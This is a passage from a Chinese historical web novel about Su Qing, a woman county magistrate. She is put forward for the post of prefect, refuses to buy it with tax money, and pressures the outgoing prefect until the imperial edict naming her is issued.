其实是让田县丞安心。 费秀才拉着田县丞去厨房吃饭,留下苏清跟祝书吏叹口气。 罗主簿龚典吏武捕头邬户房等人各有差事,整个南江县有条不紊运行。 所以皇上暂居金陵,在金陵主持朝局的事,也没引起太大风波。 不少人都发现,自己承受能力还是很强的。 别说皇上去金陵了,回头就算来南江县,他们都不会意外啊。 朝廷发了正式的文书,广乐府府城也送消息到各县。 既如此,顾从斯平安无事,甚至还伴在皇上左右的事,也能说了。 苏清跟大家解释道:“顾案首等人本就被皇上看重,事发那天也有侍卫去国子监通知祭酒他们撤离。” “他们这批被皇上看重的举子,就被安置在臣子队伍里,随着宫中众人一起离京。” “也有些人没跑脱,还好顾从斯临危不乱,中间还多番安慰皇上,从而更加被器重。” 从京城到金陵,这一路上确实不容易。 这群死里逃生的各地案首,估计会成为朝中红人。 而这些人里,又以顾从斯为首。 听了事情经过后。 众人简直不敢置信啊。 知道京城国子监被烧后,大家都以为顾从斯已经没了。 毕竟要是能死里逃生,肯定第一时间回南江县。 今年去京城考试的十九个举人里,大部分都是这样。 京城兵变,他们赶紧往家里跑,如今都在家里惊魂未定呢。 就算有些受伤不能回来,也尽力给家里写信。 甚至两个死在叛军刀下的举子,身边人辗转带回消息。 唯独顾从斯音讯全无。 原来他不仅没死。 还成了皇上身边红人! 这次是真正的红人! 府城那边知道后,对苏清更是酸的不行。 本以为她要成寡妇了,可花家的花景明一味维护。 大家都以为花家公子要成苏清的靠山时。 现在知道了,人家未婚夫不仅活着,还直达天听。 好好好。 命真好啊这个女县令。 酸的同时,也要去南江县做交易。 整个广乐府,谁要想在药材上分一杯羹,必须和和和气气地跟苏清做同僚。 算了。 谁让这个女子有真本事。 人家这对未婚夫妇确实厉害,也没办法啊。 外面夸的越厉害,顾家夫妇心情则更加复杂。 苏清都懒得看,知道他们病好了,也就不再去了,以后还是少联系的好。 苏清还在忙交易的事。 可惜现在各项物资都在涨价,否则她都该修路了。 以前官道尚且够用。 现在各地药材的运来,把道路踩踏的不成样子,只好四处修修补补,勉强还能用。 这期间,齐内官的人还来了一趟,来取去年预定的药材。 虽说药价飞涨,但这部分物资,还是按照去年药价结算。 齐内官手下惊讶:“今年的药材,比那会多了三成不止,这,这会亏吧?” 苏清道:“放心,这部分由我们衙门跟各药局一起承担。” “还是按照去年预付的价格结。” 此事让齐内官知道,不由得叹气。 去年情况一切都好,他充大方,一口气给了南江县十万两,还被上司说了几句。 现在物价飞涨,苏清却还按照低价售卖,实在帮他们解决大难题。 苏县令有情有义,还有能力。 就算没有干儿女的事,自己也要认这个朋友。 “别说了,赶紧把物资给总兵大人送过去吧。” “朝廷已来新令。” “让总兵率兵回防,早日夺回京城,好迎陛下跟太后娘娘回宫。” 这就是金陵朝廷发的第一道政令。 总兵晏铮州即刻回京,驱逐叛军,还我国都! 苏清听到这个消息的时候,并不算意外。 朝中能打的将军并不多。 这位总兵大人称第一,没人能称第二。 但问题在于,叛军武勇王爷还在皋青州。 总兵一走,他会不会反扑? 还有消息说,武勇王爷也已经离开皋青州,他要赶紧去京城称帝。 要是他没走呢,留在此地,继续抢夺地盘呢? 不知道。 谁也不知道叛军的动向。 朝廷都摸不准的事,别难为她这个小县令啊! 除非她能当上知府,否则这些事还轮不到她操心? 前线的事,苏清不算清楚。 她就觉得总兵简直是消防员,在顺昌国各地四处灭火。 大军拔营那一日,不少人都朝西边看去。 总兵要离开,广乐府各地百姓都不好受。 若不是他,许多县的百姓,还在叛军手中。 南江县自然是其中之一。 苏清心里默默送行,却没想到,许久未见的周千户趁着夜色,悄悄来了衙门。 “苏县令。”周千户踌躇片刻,继续道:“总兵大人就在城外,说想见您一面。” 总兵? 见她? 苏清不假思索:“好啊,现在吗?” 对于这位将军,她实在太好奇了。 能在朝廷不作为,自己还被朝廷忌惮的情况下,还胜仗多多。 这本事,实在让人感叹。 这般人物,谁不想见。 南江县外,七八将士持刀而立。 为首穿着玄甲的青年将军站姿如松,远远看着只觉得他气势凌然,像一头沉默安静的猎豹,随时能撕碎敌人的喉咙。 夜色深沉,让他的身形更显神秘。 悄无声息却又杀意凛然。 青年将军忽然回头,那双沉静如水的眼睛,正好跟苏清对上。 杀意骤然消散,变成深不可见的江水,要把眼前人卷入其中。 “苏清,苏县令。” “你想当广乐府知府吗。” 第35章 你想当广乐府知府吗。 苏清目光从总兵过于英俊的脸上移走。 要说长相优越的人,她也见了不少。 但五官完美到这般的,还是头一回遇到,比之后世许多顶级明星都更胜一筹。 或许因为他的气质太过不同,既有皇家的骄矜,又有将军凌厉。 偏他那双眼睛太沉静,又有些说不清的神秘气息。 苏清个子不矮,却也要抬头跟他说话。 而他这句话,让苏清沉默许久。 晏铮州试图从她脸上看到惊喜或者诧异,但什么都没看到。 过了会,苏清才道:“前线糟糕成这样了?” 苏清格外清醒。 必然有极糟糕的事,否则为何来找她 当这个七品的女县令,就招来不少非议。 若直升为四品的女知府,有些酸儒生只怕要气炸。 毕竟抛开性别不谈,没有功名的县令直接成为知府,都够朝臣们弹劾了。 何况她这种情况。 所以,肯定有更糟糕的情况。 否则总兵不会轻易提出这般想法。 晏铮州眼中闪了丝不同,声音像是完美乐器发出的声音:“前线还好。” “你走了之后,就不好说了。”苏清让自己不受对方的蛊惑,继续分析,“你是怕武勇王爷再次攻打广乐府各县,对吗?” “等你走了,他们便有可乘之机。” 不对,不止这样。 苏清震惊地看向总兵:“这是调虎离山。” “京城那边的兵变,是为了引你离开,给武勇王爷喘息的空间。” “你不能走!” 总兵要是走了,广乐府必遭袭击。 只要等这位叛军头领缓过来,必然会重新攻打广乐府,乃至整个顺昌国! 晏铮州没想到,苏清比他想的还要更加敏锐。 只言片语中,便推测出大概过程。 晏铮州看了看远处。 苏清能看明白的,那些人却执意不懂。 “我去京城的事,已经定下。”晏铮州慢慢道,“所以广乐府的安危,只能靠你了。” 这样说,就是间接承认苏清的说法。 旁边的周千户缓缓解释事情经过。 京城那边的兵变,确实是调虎离山。 不过叛军出了点意外,他们原本的计划,是佯装攻入京城。 目的是让皇上太后召回晏铮州。 这样一来,就能缓解武勇王爷的压力。 意外的是,京城附近的益州叛军,竟然真的打进京城了。 皇上等人仓皇出逃。 对于晏铮州来说,这是最坏的结果。 如果京城那边能多坚持几日,就能从其他地方抽调人手救驾。 可京城败的太快,丢的太快。 如今这种情况,各地兵将,谁都不愿意做出头鸟。 除了他,没人会真的回京夺城。 叛军的这招调虎离山,就显得格外成功。 让他明知是计,也要赶回去。 或者说,让金陵朝廷明知是计,也一定要他回京。 国都落入叛军手中,到底不同。 是一定要夺回的。 而且越早夺回越好。 金陵那边,已经发了无数密函,命他速速回京。 只是他一走。 广乐府这边便会直面危险。 他留下的军队,还要担心后勤补给等等问题。 毕竟他在的时候,尚且需通过京城那边周旋。 他这个陛下亲弟不在。 后勤补给,便是大问题。 这个时候,他脑海里自然复现一个人的名字。 苏清。 恰好齐内官过来送药材,这伤药比预计的要多。 问明缘由,晏铮州便决定“路过”南江县。 如果苏清做广乐府知府。 以上种种。 便不再是问题。 他留下的将士,必然能坚持到他回来。 周千户说完,苏清眉头却皱得越来越紧。 她就知道! 哪有那么好的事,直接找上她! 这是让她当知府吗! 这是让她负责广乐府整个军队的后勤! 苏清有种扭头就走的冲动。 但看了看总兵的脸,脚步又挪不动了,直言道:“我只是知县,做不成知府,太难。” “对别人来说,很难。” “对你。” “不难。”晏铮州几乎斩钉截铁道。 声音本就极好的他,又说出这般肯定的话,最铁石心肠的女人都想多听几句。 晏铮州又道:“广乐府最西边的三个县刚刚收复。” “他们的县令不懂农务,只多种药材。那三地,只怕要闹饥荒。” “前线将士没了后勤,没了医药,伤亡会跟惨重。” “苏县令。” “他们的命都在你的手中。” “而你,有能力救他们于水火。” 苏清忽然抬头,直接道:“你跟你哥说,我要当知府,让他下令吧。” 晏铮州点头:“好。” 旁边周千户都听傻眼了。 这样吗? 他以为会让苏县令自己努力呢。 直接让陛下下令?! 这合适吗?! 苏清心道,有什么不合适的。 都让她背锅担责任了,自己直接要官怎么了。 只要能守住广乐府,护住此地百姓,小小知府而已。 总兵显然明白这点,答应的十分利落。 不过苏清还是有点不放心:“能不能催那边快点,时间不等人。” 他们在跟时间赛跑。 在要武勇将军手底下的兵将恢复过来之前,完成广乐府各县的防御跟后勤。 相比起来,苏清的压力更大。 只有早日当上这个知府,才能早日插手整个广乐府之事。 晏铮州有些无奈。 他会尽力争取。 不过对金陵那边的速度,大家都不抱希望。 苏清忽然想到一个人:“顾从斯,让顾举人也劝一劝?” 晏铮州想了片刻,知道这人是谁:“你未婚夫?” “不是了。”苏清立刻道,“我们已然退婚。” 晏铮州不再说话,两人沉默片刻,还是周千户打断:“顾举人似乎很说得上话。” 那就好。 苏清放心了。 不管有没有用,劝了再说。 等总兵离开,周千户却没走,他依旧负责前线后勤。 若不是他跟苏清相熟,也不会被调来传话。 “我要赶紧过去,那边疗养处办的不大好,要时时盯着。” 不用想就知道,其他地方的伤兵疗养处,到底只能学南江县的表,学不到里。 因为不是哪个地方,都舍得不停砸钱的。 这甚至不能怪那些衙门,钱这东西,也不能凭空变出来。 所以需要苏县令。 不!苏知府! 周千户几乎望眼欲穿,他才是最希望苏县令升官的那个啊。 苏清笑道:“说起来,你怎么还是千户,不应该升一升吗?” “快了。”周千户笑,“朝廷的嘉奖很快就会下来。对了,连飞扬你记得吗,他要升为千总了。” “我也带出几个副手,照顾伤员的时候,就能更迅速跟规范。” 他们两个说了会话,周千户急着回去,苏清自然不多挽留。 回到衙门,苏清坐了片刻,从袖中拿出一枚碧色玉佩,这玉温润光滑,实在漂亮。 苏清看了一会,才发现本就不算大的玉佩内侧,还有三个极小的字,必是能工巧匠所为。 “晏铮州。”苏清念完,意识到这是总兵的真名。 怪不得把这玉给她。 说等她做了知府,若遇危难之时,可用玉佩保命。 哎。 提拔她当知府的文书还没递到金陵,就在想当知府之后的事了? 这合适吗? 不管合不合适,苏清把玉佩贴身放好,不能让外人看到。 五月底的夜晚极为燥热。 苏清抬头看着夜空。 天狼星依旧闪亮,看的人心里发慌。 苏清却翻开公文。 可惜了,她相信,人定胜天。 这一夜过去,好像除了玉佩之外,再无其他痕迹。 只在四五日后,金陵朝廷爆发激烈讨论。 广乐府现在的知府年迈病弱,想要提前致仕。 谁顶替这个位置,各方争执不休。 自广乐府有战事后,从来都是烫手山芋。 要不是总兵收复大部分地方,现在的知府也不会过来。 现在好了,总兵去收复都城,这知府位置又变得棘手起来。 若现在不跑路,等武勇王爷打过来,那就完了。 所以如今的知府要跑。 跑之前,却要找个替死鬼。 谁当“替死鬼”,成了难题。 而一个人的名字,再次悄然出现。 “苏清。” 谁? 顾从斯听到这个名字时,还以为自己听错了。 可那个大臣依旧道:“广乐府南江县知县,苏清。 皇上终于有些印象,下意识道:“这怎么行的,她是个女子。” 当县令已经是网开一面的,极尽恩典。 又要当知府? 她何德何能。 垂帘在侧的太后道:“苏县令才能颇佳,听说她把南江县治理得极好。” 太后并不了解南江县在哪,只是随口一说。 不过她老人家都这样讲了,自然有人立刻夸赞。 但真夸起来,却发现苏清确实极有能力。 广乐府十七个县,他们的粮食药材双丰收,而且还有余力帮助前线医治伤兵。 这些日子,甚至成了那里的药材交易中心。 周围各县无不信服。 越说下去,越觉得她是个非常合适的人选。 广乐府现知府的人,太后的人,以及私底下晏铮州的人,都或明或暗地推苏清。 再加上她政绩实在好,极有说服力。 皇上沉默不言,稍稍闭上眼,明显不想听太后说话。 太后总认为,她是在为朕好,但那女县令苏清,也是你的人吧? “皇上,微臣有一事禀告。”顾从斯突然站出来。 顾从斯平时的话极少,但凡开口,都在维护皇上,这才被皇上器重。 此刻他一开口,都以为他要反驳此事。 皇上眼神带了惊喜,示意爱卿快说。 顾从斯屈膝跪下,认真道:“其他大人们所说的苏清,跟微臣有关。” 常伴皇上左右,顾从斯已然在翰林院有了微末职位,称一句微臣再合适不过。 但那苏清,跟他有什么关系?! 金陵朝堂上,终于有人想起来,顾从斯似乎就是广乐府出身。 他爹在南江县任教谕?! 顾从斯所说,却跟他爹无关,而是道:“苏清,乃微臣的未婚妻。” “她父亲苏县令守县而亡,临终之前最后一件事,便是让我们结为夫妇。” “微臣本当会试结束,便与苏县令完婚,没想到突发变故。” “微臣说这些,只为证明苏清家世人品。” “她在南江县为官,照拂百姓,鼓励农耕,修河堤修桥梁码头,医治百姓,无所不能。” “若有她在,必能护得百姓安全,江山无忧。” “甚至科举一道上,她也尤为出色。” “今年本县十五名考生去府城府试,全都考上秀才,甚至秀才第一都是她的书吏。” 若让顾从斯再说,他能讲三天三夜。 苏清的优点,岂是这些能概括的。 但在皇上面前,还是收敛了些。 即便如此,文武百官谁听不出顾从斯话里的敬佩与喜爱。 最后所说的,十五个考生,全都考上秀才,着实让皇上一惊。 他重视科举,大家都知道。 秀才虽不算重要,但十五人考试,十五人通过,还是极为罕见的。 “没想到苏清虽是女子,却着实不错。”皇上看着众人,又看向心向自己的顾从斯。 看得出来他们未婚夫妇感情极好。 这么说的话,这对夫妇,都会是自己的人。 见皇上态度软化。 各方势力立刻为苏清陈情。 管你是男是女,管你能力到底如何。 赶紧把烫手山芋接住吧。 武勇王爷岂是好惹的。 广乐府离他的皋青州那样近,迟早要挨打。 这种丢土地失城池的事,他们这些男子汉才不担责任。 交给那女子,反而刚刚好。 顾从斯心机深沉,一味逢迎皇上,近来笼络不少势力。 本以为是个难缠的对手,没想到竟有苏清这样的破绽。 等这位苏知府被武勇王爷打的屁滚尿流。 他们夫妇俩,就可以一起从朝堂上滚蛋了! 顾从斯微垂着眼。 苏清,苏知府。 她会做的,比在座任何一个人都要好。 35-40 第36章 金陵朝廷的争论,暂时没传到南江县。 此时的南江县,刚刚结束药材收购。 作为广乐府的药材交易中心,衙门上下费了极大的心力。 幸好收获颇丰,还带着周围几个县一起卖药,总算没把药材砸在手里。 甚至有苏清在军中的关系,还帮不少地方卖了个好价。 这一番交易下来,苏清跟周围几个县的县令,关系都还不错。 尤其是刚刚收复的江北县,江五县,尚口县,依松县四地。 江北县以前有颇多驻军,故而发展不顺。 另外三个地方这是去年年底才陆陆续续收复,更别提建设了。 还好药材卖的顺利,这几个地方的衙门跟百姓,都能稍稍松口气。 其中江北县江五县的县令,颇有些不好意思。 他们之前还担心,苏清的南江县抢他们生意。 实际上,是他们这些跟着种药材的,抢人家的买卖才是。 好在苏县令不计前嫌,带着大家一起挣钱。 只是收入远远赶不上支出。 尤其是各地的粮价居高不下,甚至波及到南江县。 这种情况也正常。 都说城门失火殃及池鱼。 其他地方粮价波动,南江县不可能独善其身。 好在他们准备充足,这几年基本没往外卖粮,全都屯在县里各地粮仓中。 这时候自然要拿出来,周围几个地方,也因此受益。 “南江县简直就是附近一带的定海神针。” “是啊,不管外面如何乱,南江县能稳住,对咱们都好。” 一个药材。 一个粮价。 南江县俨然成为了周围几个县的压舱石。 有她在,周围百姓,甚至官吏。 以及在广乐府边境依松县的六万驻军,心里都是稳的。 这些消息传到广乐府府衙官吏耳中,又是另一种感觉。 府城这边消息灵通。 六月上旬,他们先一步得到一个消息。 让现在知府不敢置信的传言。 即使他急不可耐想要离开此地。 但可能接替他的人,竟然是个女子?! 府衙早就议论纷纷了。 金陵那边如何想的。 竟然要一个女子来做知府?! 朝中实在没人了?! 一个毫无功名的人,直接从知县做到知府? 简直滑天下之大稽。 “好在是传言,谁知道能不能成。” 话是这么说,可广乐府府衙众人,难免想了想苏清当知府是什么样子。 如果她来当知府。 广乐府的情况,应该好很多吧? 不行,不能这么想。 一个女的,当什么知府,当个县令已经是皇上开恩。 府城花家,花景明连茶叶都吃下去。 苏清可能要来府城了? 还要当知府? 开什么玩笑。 等消息再到南江县的时候。 衙门上下眼珠子都要瞪出来。 而苏县令本人,却是无惊无喜。 一个是,她早就知道这事。 二是,知府还未确定,现在就高兴,约等于提前开香槟啊。 周围各县县令,则立刻送来礼物,虽然被她退回去了,可大家的态度很明显。 若苏清能当知府,那他们各县的情况,就会好很多。 毕竟人人都知道。 作为府衙,应该帮着各县进行战后建设的。 但那边就当没看到不说,该收税还在税收,让地方上如何不恼。 这番送礼,也像是赌气。 女的怎么了,县令怎么了。 只要能带着他们治理好地方,他们就认! 苏清被大家搞的哭笑不得,看着顾从斯寄来的书信,其中一封让人转交给顾教谕夫妇。 这还是他头一次寄回书信。 看来金陵那边,情况已经稳定。 给顾教谕夫妇的信,只是报了平安,还说知道他们之前病了,都是苏清照顾。 苏清这边的信,则是极长的。 首先详细说了三月底京城兵变的事。 然后是金陵这边的详细情况,以及都有谁在支持她做知府。 顾从斯并未写自己的判断,只是把知道的事都写上去。 剩下的,交给苏清即可。 顾从斯知道,她比自己更知道如何做。 这封信让不少人对苏清当知府的事,多了几分信心。 对啊。 苏清的未婚夫,是皇上身边的红人。 她自己又有本事。 此事说不定能成的。 而且人人都知道,广乐府知府不好做,应该没人跟苏清抢? 不管怎么样。 在南江县周遭大部分看来。 让苏县令去做知府,是极好的选择。 至少她坐上那位置,不会不管百姓死活。 但是,自六月上旬消息传开。 一直到七月份,各地准备秋收,知府人选还是没定下。 有人说金陵那边吵的过于厉害。 原本事情就要定下,可鲁地一个大儒跑过来反对。 六天疾驰一千二百里,就为了反对女子当知府。 这位大儒引经据典,跟顾从斯唇枪舌战。 总之一个观点。 苏清,女的。 当知府有违祖宗之法。 顾从斯据理力争,带着各地案首与之辩驳。 据说争出不少脍炙人口的好文章好诗句。 但结果却愈发不明朗。 估计谁也没想到,会有大儒出来搅混水。 苏清一面让人关注皋青州的动向,一面抑制本地粮价。 今年秋粮收获之前,粮价肯定要稳住。 他们南江县甚至要放出一些存粮,否则江北县,江五县,尚口县,依松县四地的粮价,肯定要控制不住。 到了这会,很多人才意识到,苏县令为什么禁止大家多种药材。 药材是好东西,但不能当饭吃。 若无粮食做基础,药材价格再高,也买不起粮。 周围一味种药材的地方,自然深受其害,只能盼着秋粮赶紧收获,大家都能松口气。 明年,明年绝对吸取教训啊。 就在各地盼着八月赶紧到来,他们就能收粮时。 府城一道新的政令,让各地措手不及。 “提前征秋税?”江北县县令第一时间给苏清写信,“好端端的,为什么要提前?” “就一个多月了,难道都等不及?!” 广乐府的秋收,大概在中秋前后。 一般来说,会在九月中旬之前交齐税款。 但今年,却在七月初就要各地交税。 甚至规定了,要在七月二十之前,把税款交上去。 原因也写明了。 一个是金陵朝廷需要银子。 二是广乐府六万驻军需要补给,更是缺钱。 总之一句。 缺银子! 你们快交! 但对于各地县衙来说,只是提前办差。 可对百姓们而言,则不亚于灭顶之灾。 提前交税,说的简单。 哪来的闲钱?! 大家日子都要过不下去了,有今日没明日的,都盼着秋收之后能缓口气。 现在告诉他们,这口气先别缓。 谁受得了? 就像一个工资只够日常吃喝跟交房租的人。 原本每个月二十号时,发了工资再交房租即可。 现在告诉他,这个月十号就要交房租。 不交的话,就把你赶出去。 这日子能过? 这下别说其他地方。 就连南江县百姓都引起骚乱。 苏清等人安抚许久,才让大家冷静下来。 至于那税款如何交,还摆在苏清面前。 在大家一筹莫展之时,府衙又送了一封文书出去。 这封文书被府衙户司的人,直接送到苏清手上。 那人笑眯眯的,看着没安好心。 而文书的内容,却不知南江县衙门知道。 整个广乐府其余十六个县的衙门,几乎全都知晓其内容。 苏清冷冷看着此人,眼神带着说不出的嘲弄。 到底是嘲笑眼前的文书,还是嘲笑背后的人,就不得而知了。 文书内容不算复杂,却可笑得很。 南江县税收最高,情况最好。 故而今年的税款要多交,给其他各县做个表率。 不仅如此。 去年八月到今年六月的伤兵疗养处所有费用,府衙不再报销,更不允许抵销。 也就是说。 你们南江县今年不仅要自己支付伤兵的费用。 还要多交税。 为什么? 谁让你们这里发展的好啊。 文书里更是暗暗说,府衙跟金陵朝廷,都会记住你的。 这可是你表现的好机会。 话止于此,谁不知道里面的意思。 想当广乐府知府吗? 那就多交税吧。 多交税,就能当知府。 在苏清看来,哪里是交税。 分明是让她用南江县的税款买官。 苏清冷笑出声:“一群废物。” 这句话也不知骂了多少人。 等广乐府各县逐渐反应过来,全都不慌了。 原来提前征税,并不是针对他们。 所有的目光,都聚焦在南江县这里。 只要他们交足够的税金。 苏清便会有极好的政绩,广乐府现在的知府,更会替她美言。 到时候,本地知府的位置,便是她的了。 这个诱惑不可谓不大。 反正这是南江县的银子,又不是苏清的私库。 就算全交了,又怎么样? 那可是知府! 正四品的位置。 天底下,还没有一个女子能当知府呢。 甚至有人暗暗算了南江县去年到今年的收入。 “几百万两是有的。” “肯定啊,药材交易中心,粮食丰收,还有船运的税款。” “拿出一百万两,金陵那边,肯定立刻给她封官,听说金陵那边很缺银子。” “小小一县,却如此富有,被人惦记也是应当的。” “如果是我,我肯定花钱当知府啊。” “苏清这人有些官瘾的,应该愿意吧。” 所有人都在等苏清的决定。 就连南江县百姓也认为,她多交些税款,似乎也没问题。 那可是知府。 从知县到知府,可谓一步登天。 怎么可能有人不心动。 旋涡中心的苏清,却拿着总兵的字帖看了又看。 这就是你为之奔波的朝廷吗,有点意思。 字帖被她随手放到一边,对下面的罗主簿,邬户房道:“今年的税款该是多少,还是多少。” “该报伤兵的费用,也要继续报。” “对了,南江县不会提前交税的。” “既是秋税,那就等秋日之后再说。” “知府大人要是着急,可以亲自过来征粮。” “下官恭候。” 用百姓的税款,给自己买官? 她苏清就算再喜欢当官,也做不到这种地步。 苏清继续对祝书吏,罗主簿道:“研磨,我要写信。” 写信? 给府衙的,不是已经送出去了吗。 天知道知府收到信件,会有多生气。 “给江北县,江五县,尚口县,依松县四地县令写信。” “各地急需战后建设,让他们问知府要粮食要银子。” “再给驻军将领,以及后勤内官写信。” “广乐府知府,以他们为借口,向十七个县提前征秋税,那就让他们问知府要后勤要补给。” 至于他们南江县,也需要官府支援。 他们本地需要大兴县学,急缺五经夫子,不是名门出身他们不要。 想来皇上那样支持科举,你们不会不准吧? 你们这些名门儒生,不会舍不得府城的安逸,不肯来县学教书吧? 广乐府现在的知府,既然如此舍不得此地,那就继续当吧。 反正着急的,真不是她。 所有信件寄出,费秀才就差顶礼膜拜了。 当本地知府的压力本来就大。 根本没人愿意接替这个位置。 现在好了,下面各方一起施压,更没人愿意来。 苏县令出手,把原本就烫手的位置,变得更像油锅一般。 广乐府知府,想趁着最后时刻,狠狠敲苏清一笔,还能捧着银子讨皇上欢心。 现在人家苏县令直白告诉你。 这位置我也不想要,我更不着急。 你愿意坐,那就坐着呗。 让她拿税银买官? 开什么玩笑。 咱们看看,到底是你着急走,还是我着急坐。 谁先撑不住。 那谁就输了。 苏县令的举动,是其他各县都没想到的。 更是如今知府没想到的。 在他的设想里,他出的价码,苏清必然会接受。 税款又不是她的钱,没什么舍不得的。 谁知道苏清不仅不领情,反而怂恿一众人等问他要粮要银子。 那四个县的县令还好说。 他们不敢以下犯上,语气都算客气。 但六万驻军将领,却极为蛮横,军中后勤内官同样咄咄逼人。 不仅要钱要粮,还要各类后勤物资。 六万士兵的后勤补给。 卖了他,他也给不起啊。 最要命的是。 这件事会很快传遍官场。 以前有意来广乐府的人,现在也避之不及。 毕竟谁上来,谁就要接手这个烂摊子。 苏清啊苏清。 你这么做,到底有什么好处! 只要让他带走今年南江县税款,就能在金陵多加打点。 到时候皇上,太后,以及那位鲁地大儒,都会夸她是个精明能干,克己奉公的好官。 这事办成了,肯定没人反对她做知府。 让我带着银子去金陵帮你说好话,难道不行吗!? 一定要闹到大家都难看吗? “大人,军中又来信了,催您调拨后勤物资。” “花家,花家在说,您之前借的欠银,什么时候给。” “顾从斯在皇上面前参您,说您以皇上名义横征暴行。” “总兵那边也来信件,询问伤兵的情况,为什么不拨调伤兵修养所需银钱。” 知府无能狂怒道:“够了!” 别说了! 全都别说了! 苏清,苏县令。 真有你的。 第37章 广乐府知府本就不好做,如今更忙的焦头烂额。 本想着走之前捞一笔银子。 现在不仅没捞到,反惹一身骚。 苏清大概明白他的想法。 毕竟这位来广乐府才一年,就这么灰溜溜走了,难免被人诟病。 而且接替他的,大概率是个女子,说不定会被怎么嘲笑。 这才有了,全府提前交税,并刻意针对她的政令。 若跟苏清好好商量,她也不会如此反击。 但都打到脸上了,她岂能忍啊。 总之有苏清这个“刺头”出现。 其他各县,自然也不着急交税了。 都说了是秋税,那就秋日再交。 现在大家都难,不推迟交税都算好的,哪有工夫提前给银子啊。 尤其是南江县附近各县,本就因药材交易,跟苏清关系不错。 现在有样学样,压根不理上面。 南江县这边,对此也是津津乐道。 等着看知府如何应对。 人人都知道,他着急离开广乐府。 如今唯一能接替的人,还被他得罪了。 至于苏清本人,肯定不着急啊。 他们南江县需要做的事极多,谁有功夫管这些。 一直到七月十七,知府确实坐不住,他又派心腹送信。 上次送信,还是让苏清花税款买官。 这次则请她高抬贵手,让军中不要再催粮催后勤了。 广乐府的情况大家都知道,他也只在这待了一年,实在没办法的。 还说朝中局势复杂,以后大家都是同僚,没必要如此 这知府说是求和,但苏清跟苏清身边人,却看出其他意思。 罗主簿道:“同僚?知府是不是在说?” 龚典吏也使劲点头:“对啊,他是在讲?” 费秀才直接道:“广乐府下一任知府,真的是咱们苏大人!” 祝书吏跟邬户房已经在高兴了。 若苏县令只是县令,那眼高于顶的知府,不会这般称呼。 甚至现在来看。 所谓的税款买官,为何不找别人? 偏偏找苏大人? 自然因为,金陵朝廷那边,已经倾向他们苏大人了。 现在这封信,更是让他们可以确定。 广乐府未来知府,大概率是苏清。 现在知府的信,就是以此消息来求和的。 听到传言是一回事。 真正确定苏县令要成为苏知府,又是另一回事。 去年他们苏主事成为苏县令时,不知有多少酸儒被气倒。 更有不少县令暗暗不服。 原因自不用说。 这天底下,就没有女子做县令的道理。 论功名,也没有白身做县令的先例。 甚至论家世,苏家全族,就出了她爹一个小小举人小小县令。 总之哪哪都不合适。 唯一合适的,大概就是她的能力? 现在好了。 一年过去,不仅要当女县令,还要当女知府。 那个从鲁地狂奔到金陵的大儒,气到骂街。 而他这样愤怒的人,自然不止一个。 “到时候,肯定会引起轩然大波。”罗主簿忍不住道。 龚典吏说道:“这世道,有能力才重要。”” 费秀才,邬户房,祝书吏,则只有敬佩的。 因为他们三个相信,不管外面如何说,苏大人绝对不在乎。 就像她坐稳县令之位一样。 她一定能让那些人闭嘴的。 不过费秀才看了一会,忍不住道:“大人,您不紧张就算了,怎么一点也不惊讶啊。 苏清心道,毕竟我在五月底的时候,就听说这件事。 如今再惊讶,就显得有些假了。 那位总兵大人做事,总是让人放心。 如今这结果并不让人意外。 只等金陵那边敲定了。 永晟三年,七月十八。 顾从斯拿着圣旨,看着张太监盖上印章,心里微微松口气。 不管广乐府知府的位置如何。 顾从斯知道,这是清清想要的。 “顾大人放心,此事尘埃落定,十日内,就能送到苏大人手中。”张太监笑着道,“你们这夫妇俩有意思,都是朝廷官员。” 顾从斯话不多,只道:“她值得。” 没人比顾从斯更知道,苏清值得。 从南江县到京城,从京城再到金陵,短短半年时间,他经历了太多,也见到更多的人。 由此,顾从斯更加确定,苏清的能力,远超这朝堂上许多人。 或许离得越远,越能看清身边人的什么样。 而他离得越远,就对未婚妻更加思念。 只是他现在,还不能回去。 还好他在广乐府府城也有好友,可以让花景明帮忙。 鲁地来的大儒看着圣旨送出,大喊人心不古,又开始骂些纲常伦理的话。 也有人跟着附和,可惜无人在意。 广乐府现知府知道提前知道圣旨已下,整个人别提多高兴,立刻吩咐家人:“赶紧收拾行李,新知府一来,咱们就可以走了。” 一时间,不少府衙官员,连忙求到现知府门前。 “求求知府,带我们一起走吧。” “是啊,听说您被调到其他地方做知州,带我们一起吧。” “跟着您,肯定比跟着一介女子要强的多,我们才不愿在她手底下做事。” 至于是不想在女子手底下做事。 还是不想在广乐府做事。 这些都不重要。 重要的是,如今的知府,终于能扳回一城。 有这么多人愿意跟着他,那是再好不过的事。 那苏清苏县令想的简单。 以为治理一府,跟治理一县差不多? 那差的可太多了! 治理一个县城,只要管好自己拿一亩三分地即可。 顶多二十多万人罢了。 而一个府,至少百万人口。 所想所需,以及广乐府的特殊位置,还有各方势力关系。 足够任何一个能臣焦头烂额。 何况是苏清这种,只做过南江县县令的人。 官职要一步一步升。 哪有那么简单的。 “好,我所去的州府,就在徽州,也是山灵水秀,人杰地灵之处,很需要人手的。” 府城这边如何庆祝不提,反正都被花景明写到信里,让苏清多做准备。 花家小厮挠头道:“少爷,这个月您已经寄过去三封信了吧。” 这合适吗? 花景明正在院子里乘凉,听出小厮弦外之意,摆手道:“怎么不合适,跟未来知府打好关系,有何不可?” 那也不需要您啊。 您一向不在意这些事,都是让大少爷跟二小姐去忙的啊。 信件如期送到苏清手中。 这让南江县衙门上下,彻底陷入不安。 这一天,真的来了?! 苏县令真要离开了?! 南江县衙门上下,以及各地百姓,逐渐不再看热闹。 而是意识到。 他们的苏县令,很快就会离开。 虽说还在广乐府,却依旧是离开他们啊。 谁知道接下来的县令会是谁。 谁知道此地没了苏县令,他们日子会怎么样。 但拦着苏县令升官,又显得太过自私。 无数人只能把话憋在心里,难受得要命,又不好说出来。 苏清看出大家的想法,但留在南江县已经无济于事。 她做的再多,也不能改变南江县的情况。 是的,不能改变此地的情况。 诸如粮价上涨,治安变差。 这些都不是他们本地努力,就能改变的。 粮价已经不用讲。 周围几个县为了缓和经济,今年都在多种药材,那粮食产量必然减少。 这样一来,粮价问题,自然而然出现。 总兵走之前,还担心过江北县,江五县,尚口县,依松县四地粮荒问题。 其他地方都在涨,南江县并不能独善其身,难免受到波及。 第二件事,也是武捕头龚典吏他们极为忧心的。 因周围各县情况不好,自然而然滋生盗贼。 这些盗贼,又不约而同看向同一样地方。 那就是南江县了。 就像知府眼馋这里的税收一样。 周围贼人们,难免惦记小江南南江县。 一栋楼里,其中一家不讲卫生招惹了蟑螂老鼠,那邻居很难不被波及。 